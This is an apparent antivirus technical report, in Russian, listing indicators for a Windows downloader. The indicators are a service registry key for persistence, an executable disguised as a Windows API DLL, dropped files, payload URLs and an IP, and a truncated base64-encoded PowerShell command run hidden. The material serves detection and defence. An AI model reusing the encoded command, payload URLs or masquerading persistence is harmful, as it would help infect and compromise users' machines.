Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\api-ms-win-core-xstate-l1-1-0] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\api-ms-win-core-xstate-l1-1-0] 'ImagePath' = '"%WINDIR%\SysWOW64\rshx32\api-ms-win-core-xstate-l1-1-0.exe"'
- 'api-ms-win-core-xstate-l1-1-0' "%WINDIR%\SysWOW64\rshx32\api-ms-win-core-xstate-l1-1-0.exe"
- 'api-ms-win-core-xstate-l1-1-0' %WINDIR%\SysWOW64\rshx32\api-ms-win-core-xstate-l1-1-0.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVADQAawB2AGYAYQBtAD0AKAAnAEYAbgAnACsAKAAnAGYAMwA0ACcAKwAnAHYAJwApACsAJwBiACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABlAE0AUABcAFcATwByAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\k073c59.exe
- %WINDIR%\syswow64\rshx32\api-ms-win-core-xstate-l1-1-0.exe
- %TEMP%\word\2019\k073c59.exe в %WINDIR%\syswow64\rshx32\api-ms-win-core-xstate-l1-1-0.exe
- '24.#6.151.3':80
- http://www.no###hem.com.tr/wp-includes/file/HDSTwTon/
- http://24.#6.151.3/MYNI0NYQ3UYQsMg1XQf/B8i64GQWgBk2z4KGl/MOuZHgeLV3gS65teg2/fvoviwEfcu/
- DNS ASK no###hem.com.tr
- '%TEMP%\word\2019\k073c59.exe'
- '%WINDIR%\syswow64\rshx32\api-ms-win-core-xstate-l1-1-0.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVADQAawB2AGYAYQBtAD0AKAAnAEYAbgAnACsAKAAnAGYAMwA0ACcAKwAnAHYAJwApACsAJwBiACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABlAE0AUABcAFcATwByAGQAXAAyADAAMQA5AF...' (со скрытым окном)